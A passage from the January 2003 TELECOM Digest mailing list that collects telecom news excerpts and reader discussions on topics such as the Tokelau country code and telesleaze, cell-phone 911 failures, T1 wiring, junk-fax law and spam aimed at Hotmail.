access, or CDMA; time division multiple access, or TDMA; Nextel's iDEN and, increasingly, GSM. Latin America's wireless industry has been influenced by American carriers that invested heavily in the region, resulting in a similar mixture of standards. So when I recently traveled to Mexico and Brazil I took two phones capable of roaming in both countries, a TDMA phone from Cingular and an iDEN phone from Nextel. http://www.nytimes.com/2003/01/09/technology/circuits/09roam.html ------------------------------ Date: Sat, 11 Jan 2003 17:01:59 -0500 From: Monty Solomon Subject: Gadget Takes iTunes to the Living Room By Ian Fried Staff Writer, CNET News.com SAN FRANCISCO--Many Macintosh fans have been hoping Apple Computer would introduce a device that would allow music stored on a Mac in the den to be played on a home stereo in the living room. Such a device did debut at this week's Macworld Expo, but it didn't come from Apple. One had to walk well past the massive Apple booth, past even the massage chairs and a memory reseller, to find the new gadget, which is dubbed the HomePod wireless stereo. ... The device, which resembles a wireless base station with a couple of added buttons and a small LCD (liquid-crystal display) screen, uses a built-in wireless networking technology called Wi-Fi to connect to a wireless-equipped Macintosh or PC. A small Java program on the computer scours the PC or Mac for music and sends that information to the HomePod. The device can even receive playlists created with iTunes digital music software. The HomePod downloads songs one at a time and plays them either through a stereo or by connecting directly to speakers. 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The names, addresses, telephone numbers, birth dates and Social Security numbers of about 562,000 troops, dependents and retirees were on laptops and computer hard drives stolen from a nondescript building in an industrial park on Dec. 14, company officials said. Some medical claim records for people on active duty were also stolen from the company, TriWest Healthcare Alliance. Even without the medical records, the information stolen is enough for criminals to use in creating false identities. TriWest, a Pentagon contractor handling medical claims for military personnel and dependents, warned the 562,000 customers in 16 Mountain and Western states that their identities might be stolen. It also posted a $100,000 reward. TriWest advised the potential victims, of whom 183,000 are on active duty, to ask for free credit reports and flag their credit records. Within about 10 days, said David J. McIntyre Jr., the company's president, customers will only have to notify TriWest that they want this done, and TriWest will take care of the details. Thus far, TriWest and the federal authorities say, none of those whose records were stolen have had their identities stolen. But Betsy Broder, an identity theft expert at the Federal Trade Commission, warned that it often takes weeks or months for such thefts to become apparent. http://www.nytimes.com/2003/01/12/politics/12PRIV.html ------------------------------ Date: Sun, 12 Jan 2003 14:49:50 -0500 From: Monty Solomon Subject: Expert: Alleged Wi-Fi Risks Are Nonsense By Mitch Wagner A popular technology Weblogger says warnings about the supposed security risks of Wi-Fi networking are nonsense. Law-enforcement officials and telecommunications and networking companies have issued several warnings about supposed security risks from 802.11b or Wi-Fi wireless networks. http://www.internetweek.com/story/INW20030109S0001 ------------------------------ Date: Sun, 12 Jan 2003 14:52:02 -0500 From: Monty Solomon Subject: MPEG-4 Backers Protest Microsoft License By Stefanie Olsen Staff Writer, CNET News.com Proponents of MPEG-4 are decrying Microsoft's new licensing fees for rival technology, saying that the pricing poses unfair competition and threatens consumer choice. In a first-ever move for Microsoft, it set pricing this week for licensing of its audio and video compression technology, or codecs, for use on non-Windows operating systems. The company says it will charge 10 cents per decoder, 20 cents per encoder, and 25 cents for both. In comparison, MPEG LA -- a consortium of companies holding patents attached to implementations of the MPEG-4 standard -- charges 25 cents per encoder and decoder, or 50 cents for both -- a fee structure finalized in November. MPEG-4 is an emerging standard for the delivery of digital media on PCs, DVDs and consumer electronics. By undercutting the price, critics say, Microsoft is threatening the industry's natural tendency to migrate to open standards that allow many companies to work together seamlessly to service mass media with better choice. MPEG-2, for example, MPEG-4's predecessor, is the standard currently used by most digital cable providers and DVD manufacturers. http://news.com.com/2100-1023-980007.html ------------------------------ Date: Sun, 12 Jan 2003 01:14:37 -0500 From: Monty Solomon Subject: For Verizon, no Baby Steps Telecom giant nimbly rides convergence wave, towering above its Baby Bell Siblings By Peter J. Howe, Globe Staff, 1/12/2003 Back in the mid-1990s, as multiple revolutions began to sweep through the telecommunications industry, not many people would have predicted that the old-line Bell System heirs then known by such names as New England Telephone and New Jersey Bell would by now emerge as the king of the hill. Today's Verizon Communications was supposed to be one of the doddering dinosaurs flattened by emerging wireless and Internet carriers and a wave of nimble start-ups spawned by the landmark 1996 federal Telecommunications Act. It turns out Verizon has managed to not only ride but dominate the wave. Wall Street now values Verizon at $109.8 billion as of Friday's stock market close, well more than the stripped down AT&T Corp., BellSouth, Sprint, Qwest, now-bankrupt MCI WorldCom, and a half-dozen surviving landline competitors combined. Along with the other Bells, Verizon's stock has jumped by nearly 50 percent from lows this summer, getting an extra bump last week from President Bush's proposal to end taxes on stock dividends, which phone companies generally offer. http://www.boston.com/dailyglobe2/012/business/For_Verizon_no_baby_steps+.shtml ------------------------------ Date: Sun, 12 Jan 2003 14:53:22 -0500 From: Monty Solomon Subject: Where Hi-Fi Meets Wi-Fi: A Wireless Music System By ROY FURCHGOTT The big hurdle to wiring a home stereo system to play music in every room is the wiring. But today, Yamaha will unveil a server that can provide music wirelessly to as many as five locations at a distance of 150 feet. Called MusicCast, the system is essentially a server with an 80-gigabyte hard drive and a built-in CD-R drive, which can load up to 1,000 CD's compressed as MP3's or 120 uncompressed CD's into an onboard music library. The server can also play music from external sources like a CD, tape or record player, or a computer connected to the Internet. http://www.nytimes.com/2003/01/09/technology/circuits/09yama.html ------------------------------ Reply-To: Daniel Baker From: Daniel Baker Subject: Need Contact Date: Sun, 12 Jan 2003 13:54:50 -0600 Do you know the e-mail addresses of the webmasters at www.areacode-info.com ? I have a website (www.telephoneservicedirectory.com), which would be a great link listing for their site. Thanks, Dan Baker ------------------------------ Date: Sun, 12 Jan 2003 15:09:27 -0500 From: Monty Solomon Subject: Start-up Marries Blogs and Camera Phones A Dublin-based start-up is to offer software to mobile operators that will enable mobile phone users to create and maintain Weblogs or ""blogs"" using only their phones. NewBay Software, a privately funded company headed by former Baltimore Technologies executive Paddy Holahan, is aiming to capitalise on the explosive growth in weblogs over the past year. It is estimated that over 500,000 have been created over the past 18 months and are now starting up at the rate of about 5,000 daily. The content of Weblogs can range from personal diaries and opinion sites to amateur publishing on sports, politics, events and reviews. Weblogs are created using PCs and blogging software that is available both commercially and for free over the Internet. NewBay Software is hoping to capitalise on the ubiquity of mobile phones and particularly the MMS capabilities of the latest generation of camera phones to market its FoneBlog software product. Using FoneBlog, network operators provide Web addresses for customers who can then update their personal Web sites by sending text and images from their phone. If the user's phone does not have MMS, a text only site can be created. http://www.theregister.co.uk/content/64/28773.html ------------------------------ From: John Higdon Subject: Re: Will Your TV Become a Spy? Organization: Green Hills and Cows Date: Sat, 11 Jan 2003 22:43:49 -0800 In article , Ron Chapman wrote: > Trust me: > Quark is worse than the entertainment industry with regard to treating > its customers like criminals, and yet it owns the desktop publishing > industry. It is a matter of scope. What percentage of the world's population deals with Quark? What percentage of the world's population deals with the entertainment industry? > Of course, John, you have shown that you have a very narrow mind. And > once it's made up, nothing will make you change it -- not even the > facts. I don't believe we've met. You know me well enough to make that sweeping statement? I'm sorry you have to resort to ad hominem to emphasize your arguments. Tell you what: demonstrate to me that Quark influences a comparable number of people as the entertainment and media industry does, and I'll concede to your logic right readily. I won't even ask what Quark does to its customers that is so horrible (you haven't seen fit to volunteer that in the discussion). I'll take your word that it is bad enough to qualify in the same league as the Betamax, Tivo, Napster, and coutless other actions that affect millions of people. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: Danny Burstein Subject: Article by Consumer Reports on Cellular and 911 Date: Sun, 12 Jan 2003 03:57:59 -0500 Organization: PANIX Public Access Internet and UNIX, NYC The magazine acknowledges that cell phones are radios and there will always be some intrinsic problems, but then points out the very real concern that phones locked onto one system -- either through programming or through technical limitations -- often won't kick over to a good signal on an alternate carrier. Oh, and that in many cases (depending on the phone and network) that's an FCC violation. ""In Steuben County [NY], we made 14 test calls on 12 different phones with accounts from Sprint and Verizon. In Sullivan County, we made 7 test calls on 6 phones with accounts from AT&T and Cingular. Overall, of the 18 phone-and-service combinations tested, 9 calls failed to connect to 911. In every instance, there was a strong signal from another carrier the phones could have used. "" ( long url... lines split for readability ) http://www.consumerreports.org/main/ detailv2.jsp?CONTENT%3C%3Ecnt_id=299615&FOLDER%3C%3Efolder_id= 162691&bmUID=1041969879516 Knowledge may be power, but communications is the key dannyb@panix.com [to foil spammers, my address has been double rot-13 encoded] ------------------------------ From: jbl Subject: Re: Junk Fax - A Question and a Tactic Date: Sun, 12 Jan 2003 11:30:04 -0700 Organization: On the desert Reply-To: jbl@spamblocked.com In , bonomi@c-ns (Robert Bonomi) wrote: > In article , John R. Levine > wrote: >> The FCC said quite a while ago that a PC with a fax modem is a fax >> machine for the purpose of the TCPA, > Minor correction -- the FCC ruling was that a PC with a fax modem is > considered a fax machine, for purposes of 47 USC 227, and the > corresponding CFRs, when, and *ONLY*WHEN* it is being used for > faxsimile communications. Specifically, it is -not- a ""fax machine"" > when it is being used for other purposes, including ""data"" > communications, e.g. connecting to your ISP for e-mail.. I will note a comment by an expert who testifies and files a lot of briefs for plaintiffs in TCPA and related actions. He says that courts have held that under the law, e-fax, PDAs, fax-to-email, etc. are fax machines. Since I don't have permission to quote the gentlemen out here in the wide world of Usenet, I'll simply say that the fruits of his and of a number of other legal minds are available via http://www.junkfaxes.org/ and the mailing list available therein. JBL ------------------------------ From: anglomont@yahoo.com (TI) Subject: Controls For Smart Antennas? Date: 12 Jan 2003 10:34:09 -0800 Organization: http://groups.google.com/ What can you please tell about application of estimation and controls with smart antennas (for CDMA); ie what other knowledge one must have? Thanks, MA ------------------------------ Date: Sun, 12 Jan 2003 13:01:53 GMT From: Richard D G Cox Subject: Re: Now: Tokelau, Country Code 690 Reply-To: nospam@numbering.com Organization: Mandarin Technology Limited At 22:44 UT on 11 Jan 2003 Doug Faunt N6TQS wrote: > The item of interest here is that ATT long distance will not allow > one to dial Tokelau, and, according to the information operator, > claims it doesn't exist. It does exist, and according to the manager > of the telephone system there, the US is the only place that doesn't > allow direct calls to Tokelau. There are reports that numbers in the +690 range are to be used for Telesleaze (900 bypass): and given how _few_ real telephone numbers (less than 3000) there are likely to be in Tokelau, the majority of calls to +690 would statistically be then likely to be Telesleaze. > while ATT doesn't admit the existence of the country, MCI does. > The representative from ATT said that ""MCI owns the lines"" and > ATT has no access to them. This last sounds bogus to me, and > I am hoping that people have more information about the reality. AT&T may well be protecting themselves against claims of fraud -- and, given the unusual way that Telcos do settlements for this type of call, although AT&T could carry and hand over the call there would be little profit for them in doing so, and therefore equally little incentive! Richard Cox [TELECOM Digest Editor's Note: If both Tokelau *and* Telesleaze are assigned to use 690, whose fault is that? AT&T plays a big role in both international number assignments (working through ITU) and Telesleaze number assignments, don't they? There should *never* be a country -- no matter how small it is -- on the same number, or else the Telesleaze should somehow be restricted. On the other side of the coin however, no one at AT&T seemed to complain very much when the country code for Guyana was hijacked and used for that gay sex thing AT&T was partnered on for a couple years. PAT] ------------------------------ From: adykes@panix.com (Al Dykes) Subject: Re: Connecting to a T1 Demarc: Need Help Date: 12 Jan 2003 08:52:44 -0500 Organization: PANIX -- Public Access Networks Corp. In article , Dave Phelps wrote: > In article , > shreddedw@hotmail.com says: >> Verizon just installed a Quest T1 circuit at my house and I now need >> to extend the line into the house. I have never done this with a T1 >> line before and could use some help. >> At the outside demarc, there are 4 sets of 4 terminal posts. Each set >> has a Yellow, Black, Red & Green wire from a jumper cable connected to >> it. The jumper cables are plugged into what looks like a RJ45 jack in >> the demarc. The verizon label says that Circuit 1 is the line, and no >> other circuits are labeled. >> I need to know how to connect to these terminal posts and whith what >> wires. I am planning to use standard CAT5 UTP to extend the circuit. >> I know that I will need to wire up pins 1 & 2 for one pair and 4& 5 >> for another at the plug, but I am not exactly sure how the CAT5 color >> codes should line up with the Yellow, Black, Red, & Green at the >> posts. >> Thanks for any help. > If you have a T1, you should have a smartjack placed somewhere beyond > the demarc. The smartjack is usually placed inside the building, but > can be outside. The smartjack will have a few lights, to indicate > circuit status, and an RJ45 jack for you to connect to. It's an RJ45 jack, but what is the correct name for the cable assembly? I've always had my smartjacks right next to the equipment rack and been able to use a short Cat5 patch cord, but I have no idea if that would work if it had to be 100 feet long. What are the pinouts, and for that matter what is the distance limit in the specification? Thanks, Al Dykes adykes@panix.com ------------------------------ Date: Sun, 12 Jan 2003 15:11:19 EST From: Patrick Townson Subject: Illinois Death Row is Empty Today In a *very courageous* move on Saturday, Illinois governor Jim Ryan totally vacated the state's 'death row', saying that there were too many inconsistencies and problems with the way in which the prisoners got there. All the inmates were commuted to much lesser sentences; four (that makes about 12 in total) were totally pardoned as a result of police/prosecutor misconduct in their trials. A few of the more than 108 residents of death row were commuted to life in prison. A few others were commuted to 40 year sentences. Mr. Ryan began his speech to the people of Illinois (which lasted over an hour) by thanking Northwestern University and the students in its Journalism School for their diligence in investigating those cases, and bringing them to his attention. He also thanked the Chicago Tribune staff for its reporting. He then apologized to the victims of the crimes and their families, saying they had been victimized twice, once by the 'original crime' then a second time by police and prosecutors who 'did not give a damn about them; only get they could, and wherever they could get them.' ""It is really ugly when innocent victims and their families are preyed upon twice; once by a rapist/murderer/serial killer, then again by the police/prosecutors and their staffs who the people assumed would protect them."" Governor Ryan had very little good to say about police and prosecutors in Illinois, noting that 'this sort of thing seems to happen all too frequently.' He then named each of the men who were on death row, and briefly told the circumstances of each case. Four of the men, who were mentally challenged had claimed that police had coerced 'confessions' from them with various promises. They were all found to have rock-solid alabies police had chosen to ignore in their haste to get a conviction. Two of the four also had been represented by public defenders who had 'encouraged' them to confess and get 'deals' cut for them by prosecutors. They were pardoned entirely straight from death row; their families/friends went to the prison on Saturday to retrieve them. Two of the men were met by Salvation Army representatives who promised to help them get restarted in life. (One of these latest inmates had been on death row seven years after 9-10 years in prison.) With these four men, newly released DNA tests showed they had nothing to do with the crime for which they were charged at all. Quite a few of the now-former death row inmates had 'inconclusive evidence' about the exact roles they had played, and in most of those cases there had been 'co-conspirators' who had snitched on their partners in an effort to 'cut a deal' and save themselves from death. Where the prosecutors had 'taken the deal' and given them shorter terms in prison, Governor Ryan matched it with commutations for the death row guys, giving them the same sentences; often times 40 years instead of death which the prosecutors had asked for, occassionally less. Whatever the co-conspirators got, they got also. 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End of TELECOM Digest V22 #229 ****************************** >From editor@telecom-digest.org Mon Jan 13 18:13:51 2003 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id h0DNDpW19407; Mon, 13 Jan 2003 18:13:51 -0500 (EST) Date: Mon, 13 Jan 2003 18:13:51 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200301132313.h0DNDpW19407@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #230 TELECOM Digest Mon, 13 Jan 2003 18:13:00 EST Volume 22 : Issue 230 Inside This Issue: Editor: Patrick A. Townson Telecom Update (Canada) #365, January 13, 2003 (Angus TeleManagement) Hotmail: A Spammer's Paradise? (Monty Solomon) Re: Now: Tokelau, Country Code 690 (Richard D G Cox) Re: Now: Tokelau, Country Code 690 (John R. Levine) Re: Article by Consumer Reports on Cellular and 911 (John R. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Mon, 13 Jan 2003 10:41:06 -0500 From: Angus TeleManagement Subject: Telecom Update (Canada) #365, January 13, 2003 ************************************************************ TELECOM UPDATE ************************************************************ published weekly by Angus TeleManagement Group http://www.angustel.ca Number 365: January 13, 2003 Publication of Telecom Update is made possible by generous financial support from: ** BELL CANADA: http://www.bell.ca ** CISCO SYSTEMS CANADA: http://www.cisco.com/ca/letstalk ** CYGCOM INTEGRATED TECHNOLOGIES: http://www.cygcom.com ** ERICSSON CANADA: http://www.ericsson.ca ** JUNIPER NETWORKS: http://www.juniper.net ** PRIMUS CANADA: http://www.primustel.ca ** Q9 NETWORKS: http://www.Q9.com ** TELUS: http://www.telus.com ************************************************************ IN THIS ISSUE: ** Foreign Investment Review Begins Jan 27 ** Microcell Cuts Back Business Sales ** SaskTel Seeks Higher Business Rates ** Call-Net Says Telus Violating Bundling Rules ** 360networks Sues to Recover Payments to Nortel ** Quebecor Seeks Cabinet Review of ExpressVu ** Videotron, RDS Settle Dispute ** Aliant Company Cuts Jobs ** Cygnal to Lay Fibre for Peel Schools ** Rogers AT&T Adds 150,000 Subscribers ** Telus and TWU Extend Talks ** GT Restructuring Approved in U.S. ** Northern Tel Status Challenged ** Fixed Wireless Sold for Local Phone Service ** Canadian Software Mergers Still Low ** Voice Mobility Raises $1.8 Million ** Speakers Sought for Consultant Meeting ** BCE Shuffles Board ** Price Caps Explained ** Corporate Mobile Data Prepares for Liftoff ============================================================ FOREIGN INVESTMENT REVIEW BEGINS JAN 27: The House of Commons Standing Committee on Industry, Science, and Technology will begin its review of foreign investment restrictions in the telecom industry on January 27 (see Telecom Update #359). To participate, contact the Clerk of the House of Commons ""at the earliest opportunity."" http://www.ic.gc.ca/cmb/welcomeic.nsf/261ce500dfcd7259852564820068dc6d/85256a220056c2a485256cad004cd6e3!OpenDocument MICROCELL CUTS BACK BUSINESS SALES: A January 6 SEC filing from Microcell Telecommunications reveals that its recovery plan includes cutting back on efforts to sell business accounts, wholesale services, and wireless data. The company, which is currently operating under bankruptcy protection, will focus on consumer PCS voice services. ** Microcell predicts its service revenues will grow from $561 million to over $1 billion in five years, and that only 3% of its 2008 revenue will be from data. http://www.sec.gov/Archives/edgar/data/1018350/000101835003000004/mict20030106mt.htm SASKTEL SEEKS HIGHER BUSINESS RATES: SaskTel has applied to the CRTC to increase rates for business local service by up to 10% in all locations outside Regina, Saskatoon, Yorkton, Swift Current, Moose Jaw, Estevan, Weyburn, Prince Albert, and North Battleford, and to raise optional SmartTouch rates for all customers. SaskTel has requested February approval for the new rates. http://www.crtc.gc.ca/8740/eng/2003/s22.htm#40 CALL-NET SAYS TELUS VIOLATING BUNDLING RULES: Call-Net claims that Telus is providing untariffed bundled services to at least five customers: BC Ferries, Crystal Glass, Indigo, Insurance Corp of BC, and Petro Canada. Call-Net wants the CRTC to order Telus to file full information on these services and any other bundles, and to allow Call-Net to prosecute Telus for violating section 25 of the Telecom Act. http://www.crtc.gc.ca/PartVII/eng/2002/8661/c25-06.htm 360NETWORKS SUES TO RECOVER PAYMENTS TO NORTEL: The U.S. wing of 360networks has sued Nortel Networks to recover US$101 million it paid Nortel in the 90 days before it filed for bankruptcy. Under U.S. law, pre-bankruptcy payments can in some cases be recovered for distribution to all creditors. QUEBECOR SEEKS CABINET REVIEW OF EXPRESSVU: Quebecor CEO Pierre Karl Peladeau says he has asked the federal Cabinet to hold a public inquiry into BCE's ownership of Bell ExpressVu. Peladeau argues that the satellite broadcaster has an unfair advantage over Quebecor-owned Videotron because it is subsidized from Bell Canada's profits. (See Telecom Update #353) VIDEOTRON, RDS SETTLE DISPUTE: The CRTC has cancelled this week's hearing into a royalty dispute between Quebecor Media and RDS. CTV's French-language sports channel says it has reached agreement with Videotron on overdue and future fees. (See Telecom Update #361) ALIANT COMPANY CUTS JOBS: Saint John-based Xwave, Aliant's IT services unit, laid off 87 employees January 10, after cutting 101 jobs since October. Xwave now has 2,500 employees. CYGNAL TO LAY FIBRE FOR PEEL SCHOOLS: Hydro One Telecom has granted Cygnal Technologies a $3.6 million contract to build a 1 Gbps fibre optic network linking 110 public and separate schools in Peel Region west of Toronto. (See Telecom Update #338) ROGERS AT&T ADDS 150,000 SUBSCRIBERS: Rogers AT&T Wireless added a net 146,800 subscribers in the fourth quarter, 19% fewer than a year ago. Postpaid net additions rose 66%; prepaid additions declined 78%. Postpaid monthly churn fell to 2.1%. ** Rogers Communications added a net 45,000 Internet subscribers in the quarter, 20% fewer than a year ago. It also added 9,400 cable subscribers, but expects to lose up to 1% of cable customers during the coming year. TELUS AND TWU EXTEND TALKS: On the recommendation of federal conciliators, Telus Corp and the Telecommunications Workers Union have agreed to extend efforts to reach a new contract beyond the January 13 deadline. Conciliators plan 20 to 30 more meetings, followed by a new 60-day conciliation period. GT RESTRUCTURING APPROVED IN U.S.: On January 2, a U.S. court approved the plan to reorganize Group Telecom previously accepted by the Ontario Superior Court. (See Telecom Update #364) NORTHERN TEL STATUS CHALLENGED: O.N.Telcom has asked the CRTC to require Northern Telephone to comply with the ILEC- affiliate procedures in Decision 2002-76 (see Telecom Update #362), saying the company is ""not only under the common control of Bell Canada, but ... is now so inextricably integrated with Telebec as to be one company."" FIXED WIRELESS SOLD FOR LOCAL PHONE SERVICE: Montreal-based SR Telecom says it has sold fixed wireless systems to Bell Canada and Northwestel, to provide local voice and data services in remote communities. CANADIAN SOFTWARE MERGERS STILL LOW: The Canadian Advanced Technology Alliance reports that the value of mergers and acquisitions in the Canadian software and computer services industry in 2002 was $1.7 billion, down 15% from 2001 and down 85% from 2000. http://www.cata.ca/cata/news/Jan082003.cfm VOICE MOBILITY RAISES $1.8 MILLION: Vancouver-based unified messaging supplier Voice Mobility has secured $1.8 million in line-of-credit financing. SPEAKERS SOUGHT FOR CONSULTANT MEETING: The Canadian Telecommunications Consultants Association has issued a Call for Speakers for its Spring Conference, scheduled for April 3-5 in Montreal. Submissions are due by January 17. http://www.ctca.ca/PDFs/CTCACallforSpeakersSpring2003.pdf BCE SHUFFLES BOARD: BCE has added three new directors: Andre Berard (Chair, National Bank), Edward Lumley (Vice-Chair, BMO Nesbitt Burns), and Thomas Burns (former Chair, PwC Consulting). Two directors, Edward Newall (Nova Chemicals) and Guy Saint-Pierre (Royal Bank), will leave the Board in May, reducing the number of BCE directors linked to Royal Bank from four to two. PRICE CAPS EXPLAINED: The CRTC's 2002 decision on price cap regulation continues to arouse heated discussion and has been appealed to Cabinet. Lis Angus's analysis of this decision is now posted in the Reports and Tutorials section of the Angus website. http://www.angustel.ca/ CORPORATE MOBILE DATA PREPARES FOR LIFTOFF: In the January issue of Telemanagement, Gerry Blackwell describes the significant efforts now under way to develop higher-speed applications for corporate wireless data. Also in Telemanagement #201: ** Calculating the Hidden Costs of IP Telephony ** Sept. 11 Showed Internet's Strength and Vulnerability ** Are Independent Consultants an Endangered Species? Telemanagement is available only by subscription. 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The information and data included has been obtained from sources which we believe to be reliable, but Angus TeleManagement makes no warranties or representations whatsoever regarding accuracy, completeness, or adequacy. Opinions expressed are based on interpretation of available information, and are subject to change. If expert advice on the subject matter is required, the services of a competent professional should be obtained. ------------------------------ Date: Sun, 12 Jan 2003 16:20:44 -0500 From: Monty Solomon Subject: Hotmail: A Spammer's Paradise? By Michelle Delio 02:00 AM Jan. 09, 2003 PT If so many spam offers weren't totally bogus, Hotmail users would be incredibly well-endowed, slim people with plenty of hair who make big money working at home when they aren't having great sex provoked by free porn and herbal Viagra. Many users of the free e-mail service offered by Microsoft's MSN.com say that within a day of creating a new Hotmail account the spam starts flowing in, almost as if spammers have sunk a tap directly into Hotmail's user database and are slurping up a free-flowing torrent of e-mail addresses. And according to Steve Linford, of the anti-spam Spamhaus Project, that's almost exactly what's happening. Spamhaus has proof that at least one spammer has been conducting a massive dictionary attack against the mail servers of both Hotmail.com and MSN.com, at the rate of three to four tries per second, 24 hours a day, continuously for the last five months. http://www.wired.com/news/infostructure/0,1377,57132,00.html [TELECOM Digest Editor's Note: The same thing happens at AOL. I have used my *legimate* AOL account to establish new screen names, and within the first spam started arriving. I know all about 'dictionary style attacks', etc. None the less, I really do not think spammers even with dictionary programs could get in there and work it that fast without some help from AOL. PAT] ------------------------------ Date: Sun, 12 Jan 2003 21:20:51 GMT From: Richard D G Cox Subject: Re: Now: Tokelau, Country Code 690 Reply-To: nospam@numbering.com Organization: Mandarin Technology Limited On Sun, 12 Jan 2003 15:56:22 -0500 (EST), editor@telecom-digest.org wrote: > If both Tokelau *and* Telesleaze are assigned to use 690, whose fault > is that? Fault? As with all the other countries whose numbering ranges have been partially hijacked for Telesleaze, the allocations for Telesleaze have been deliberately made behind the same country code as ""ordinary"" subscribers - when the necessary conditions for the fraud have been met: [1] The country concerned has little or ineffective regulation; [2] The country concerned has poor connectivity, leading to high settlement rates and low risk of their being negotiated down; > There should *never* be a country -- no matter how small it is -- on > the same number, or else the Telesleaze should somehow be restricted. The idea is that most networks will not block calls numbers in those ranges since calls ""could"" equally be genuine calls to those countries. It's the same rationale as was used by the spamhaus that put Peacefire on an IP address in the same block as their most prolific spam sources. Richard D G Cox Penarth, UK ------------------------------ From: johnl@iecc.com (John R. Levine) Subject: Re: Now: Tokelau, Country Code 690 Date: 12 Jan 2003 17:10:55 -0500 Organization: I.E.C.C., Trumansburg NY USA > [TELECOM Digest Editor's Note: If both Tokelau *and* Telesleaze are > assigned to use 690, whose fault is that? Tokelau's. They're the only ones who can set up rebates to call recipients. It seems a little odd, though. My long distance carrier, which resells Qwest, charges only 18 cents/minute to call Tokelau, and that doesn't offer much room to rebate a commission, while my dial-around carrier Cognidial charges a plump $2.97. > no one at AT&T seemed to complain very much when the country code > for Guyana was hijacked and used for that gay sex thing AT&T was > partnered on for a couple years. Nobody hijacked the Guyanese country code. GT&T is controlled by Atlantic Tele-Network, a company in the USVI that briefly controlled the USVI phone company and has investments in other minor phone properties like the Cell One franchise in the Bahamas, the major ISP in the USVI, and a paging company in Haiti. When ATN bought GT&T, they got a decrepit third-world telco with ridiculously low domestic rates, e.g., 24 cents a month for a residential line, and only 13,500 lines. (My family owned rural telco in upstate NY has more than that.) For political reasons they couldn't raise rates, so in 1993 they decided to get into the ""international audiotext"" business a/k/a telesleaze, and used the revenue to upgrade the system with new switches and satellite stations for both international calls and access to the remote swampy interior, and more than tripled the number of lines to 55K. They say that in 1997 the porn business tanked so they went back to the government and finally got some reasonable rate increases. Read all about it at http://www.atni.com/co.html. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ Date: 12 Jan 2003 16:54:00 -0500 From: johnl@iecc.com (John R. Levine) Subject: Re: Article by Consumer Reports on Cellular and 911 Organization: I.E.C.C., Trumansburg NY USA > ""In Steuben County [NY], we made 14 test calls on 12 different > phones with accounts from Sprint and Verizon. In Sullivan County, we > made 7 test calls on 6 phones with accounts from AT&T and > Cingular. Overall, of the 18 phone-and-service combinations tested, > 9 calls failed to connect to 911. In every instance, there was a > strong signal from another carrier the phones could have used. "" These are worst case scenarios. Sullivan county in the Catskills is hilly and rural, and has spotty coverage from both the systems licensed there and spillover from other systems in adjacent counties. The vendors probably thought they were doing their customers a favor, since most of them charge expensive roaming fees when they roam into other systems, but I suppose that it might be worth a software hack so that calls to 911 ignore the usual system preference list and use the strongest signal. I have Cingular TDMA service in Tompkins county, which is between about 100 miles west of Sullivan, and the coverage with my Nokia 5165 phone is pretty good, particularly with the car kit's external antenna, except in some narrow valleys that are such bad dead spots that the FM radio fades out, too. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: Jack Hamilton Subject: Re: Article by Consumer Reports on Cellular and 911 Date: Sun, 12 Jan 2003 20:53:52 -0800 Organization: Copyright (c) 2003 by Jack Hamilton. Reproduction without attribution and archiving without permission are not allowed. Reply-To: jfh@acm.org Danny Burstein wrote: > The magazine acknowledges that cell phones are radios and there will > always be some intrinsic problems, but then points out the very real > concern that phones locked onto one system -- either through > programming or through technical limitations -- often won't kick over > to a good signal on an alternate carrier. Oh, and that in many cases > (depending on the phone and network) that's an FCC violation. Are you saying that it would be a violation of an FCC regulation to make an emergency call on the wrong carrier? The Amateur Radio service is regulated by the FCC and by international treaty, but one of the regulations says ""No provision of these rules prevents the use by an amateur station in distress of any means at its disposal to attract attention, make known its condition and location, and obtain assistance"" (FCC rules part 97.405). I'd be surprised if similar rules don't apply to other services in the case of a real emergency. Or are you saying that it's a violation for those phones *not* to switch to another network? Jack Hamilton jfh@acm.org Sacramento, CA ------------------------------ From: Phil Earnhardt Subject: Calling 800 Numbers From Pay Phone: How Many 24-cent Charges? Date: Sun, 12 Jan 2003 23:18:56 -0700 Today, I used my MCI prepaid calling card for the first time. I called the service from a pay phone, entered my account number, and called two different numbers. (MCI uses ## to terminate calls). During this one 800 number call, MCI charged me the 24 cent pay-phone fee twice -- once for each completed call. What does the federal tariff say? I'm guessing that MCI is probably reiembursing the pay phone owner for a single call and keeping the second 24-cent charge. If MCI only has the right to charge me one 24-cent fee, I'd like to know who to complain to. URLs on the appropriate tariff and, presuming MCI is in the wrong, how to complain would be appreciated. Thanks, --phil ------------------------------ From: nirwani@rediffmail.com (Dhirender) Subject: Can I Send Bulk Faxes Through SuperFax/ Bitware? Date: 13 Jan 2003 07:09:31 -0800 Organization: http://groups.google.com/ The non-profit I work for regularly sends out quite a large number of bulk faxes i.e. its the same fax, to a number of different recepients. I wanted to shift it across from the fax machine and use a software to send the faxes. Would the free versions of Bitware of Supervoice support sending about 400 numbers at one time? Is there any other free software that could do that? Is there any other alternative? Would appreciate any help. Thanks. Dhirender ------------------------------ Date: Sun, 12 Jan 2003 15:27:20 -0500 From: Monty Solomon Subject: Glitch bungles Amazon orders By Alorie Gilbert Staff Writer, CNET News.com Online retailer Amazon.com this week canceled thousands of orders for a high-end cell phone that because of a technical glitch had appeared to be free, an Amazon representative said Friday. The glitch mistakenly allowed people to order the PCS Phone Handspring Treo 300 at no charge. The phone normally costs $200 after rebate on Amazon. It features a built-in Palm organizer, a color display and a miniature keyboard. Amazon sent e-mail to affected customers Friday, notifying them of the mistake and that it had canceled the orders. The problem, which Amazon fixed Thursday, affected only orders placed through Web sites participating in the Amazon Associates program, not orders made directly through Amazon.com, said company spokeswoman Patty Smith. The Associates program gives some 900,000 Web sites the ability to link to products sold on Amazon and lets people buy products from Amazon via an associate's site. Smith said she didn't know which associates sites nor how many associates 